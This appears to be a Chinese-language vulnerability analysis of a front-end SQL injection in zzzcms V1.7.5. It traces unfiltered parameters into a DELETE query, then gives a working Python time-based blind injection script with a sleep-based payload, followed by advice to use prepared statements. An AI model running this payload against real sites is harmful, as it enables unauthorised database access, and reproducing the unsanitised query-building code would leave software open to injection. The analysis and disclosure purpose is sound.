zzzcmsV1.7.5前台sql注入

前言

查看cnvd时发现了该cms一个较新的漏洞,决定分析一下

代码分析

漏洞的触发点在plugins/sms/sms_list.php,该处文件可以直接在前台访问,看一下关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require '../../inc/zzz_admin.php';
$act=getform("act","get");
$id=getform("id","post");

switch ($act) {
case 'del':
db_delete('sms',array('id'=>$id));
exit;
break;
case 'delall':
db_delete('sms',array('smsonoff'=>0));
phpgo ('sms_list.php');
break;
}

?>

该处的$id$act对输入均没有进行过滤的操作,跟进下方的db_delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function db_delete( $table, $where, $d = NULL ) {
$db = $_SERVER[ 'db' ];
$d = $d ? $d : $db;
if ( !$d ) return FALSE;
if ( ifnum( $where ) ) {
$where = table_id( $table ) . '=' . $where;
} elseif ( is_array( $where ) ) {
$arrkey = array_keys( $where );
if ( $arrkey[ 0 ] === 0 ) {
$where = array( table_id( $table ) => $where );
}
} elseif ( $where == 'recy' ) {
if ( $table == 'content' )$where = array( 'c_onoff' => 2 );
}

$whereadd = db_cond_to_sqladd( $where );
//var_dump("DELETE FROM [dbpre]$table $whereadd");
return db_exec( "DELETE FROM [dbpre]$table $whereadd", $d );
}

继续跟进db_cond_to_sqladd函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
function db_cond_to_sqladd( $where ) {
$s = '';
if ( DB_TYPE == 'access' )$where = toutf( $where );
if ( !empty( $where ) ) {
$s = ' WHERE ';
if ( is_array( $where ) ) {
foreach ( $where as $k => $v ) {
if ( !is_array( $v ) ) {
$op = substr( $k, -1 );
if ( $op == '>' || $op == '<' || $op == '=' ) {
if(substr( $k, -2 )== '>=' || substr( $k, -2 )== '<=' || substr( $k, -2 )== '<>') {
$op=substr( $k, -2 );
$k = substr( $k, 0, -2 );
}else{
$k = substr( $k, 0, -1 );
}
$s .= "`$k`$op$v AND";
} else {
$v = ( ifnum( $v ) ) ? $v : "'" . ( $v ) . "'";
$s .= "`$k`=$v AND ";
}
} elseif ( isset( $v[ 0 ] ) ) {
// OR 效率比 IN 高
$s .= '(';
//$v = array_reverse($v);
foreach ( $v as $v1 ) {
$v1 = ( ifnum( $v1 ) ) ? $v1 : "'" . ( $v1 ) . "'";
$s .= "`$k`=$v1 OR ";
}
$s = substr( $s, 0, -4 );
$s .= ') AND ';

/*
$ids = implode(',', $v);
$s .= "$k IN ($ids) AND ";
*/
} else {
foreach ( $v as $k1 => $v1 ) {
if ( $k1 == 'LIKE' ) {
if(ifstrin($k,',')){
foreach (splits($k) as $v2){
$ss .= "`$v2` LIKE '%".$v1."%' or";
}
$ss=rtrim($ss,'or');
$s .= "($ss) AND";
}else{
$s .= "`$k` LIKE '%".$v1."%' AND";
}
}else if( $k1 == 'FIND'){
$s .= "(FIND_IN_SET($v1,`$k`) or $k='') AND";
}else if( $k1 == '!FIND'){
$s .= "!FIND_IN_SET($v1,`$k`) AND";
}else if($k1 == 'BETWEEN'){
$s .= "`$k` BETWEEN $v1 AND";
}else if(is_int( $v1 ) || is_float( $v1 ) || $k1=='='){
$s .= "`$k`$k1 $v1 AND ";
}else{
$s .= "`$k`$k1 '" . ( $v1 ) . "' AND ";
}
}
}
}
$s = substr( $s, 0, -4 );
//var_dump($s);
} else {
$s .= $where;
}
}
return $s;
}

在这里我们需要进行一些构造,使得代码运行到如下分支

注意到该处语句没有任何的过滤,直接拼接返回给了db_delete函数

db_delete函数中紧接着运行了sql语句

跟进db_exec函数

1
2
3
4
5
6
7
8
9
10
11
12
function db_exec( $sql, $d = NULL ,$log=true) {
$db = $_SERVER[ 'db' ];
$d = $d ? $d : $db;
if ( !$d ) return FALSE;
$sql = str_replace( '[dbpre]', DB_PRE, $sql );
echo '<br>';
var_dump($sql);
$n = $d->exec( $sql );
db_errno_errstr( $n, $d,$sql);
str_log( $sql."\t" , 'log' );
return $n;
}

这里函数将参数进行替换后直接将语句带入了数据库执行,在这里我们就存在着机会将语句进行合理的拼接进行SQL注入

漏洞利用

首先尝试报错注入,输出一下sql语句

但是程序并没有抛出错误代出数据,可能是 程序对异常抛出做了屏蔽处理,接着试一下时间盲注

程序确实因为sleep函数的作用出现了响应延迟,这也意味着可以使用时间盲注进行利用,这里写了个利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://localhost/zzzcms/plugins/sms/sms_list.php?act=del'
sql_dict='1234567890-_`~qwertyuiopasdfghjklzxcvbnm,.<>{}[]@!#$%^&*()'
result = ''
s = requests.session()
for i in range(1,255):
print('=============================')
for j in sql_dict:
payload = {'id[=if((ascii(substr((select database()),{},1))="{}"),sleep(5),1)#]'.format(i,ord(j)):'aaaa'}
try:
html = s.post(url,data=payload,timeout=5)
except:
result = result + j
print(result)
s.get(url)
break

6

修复建议

建议该处对于数据的输入进行全局的过滤,对于需要使用sql语句的地方,每个参数做好严格的检查,也可以采用预编译的方式来执行sql语句。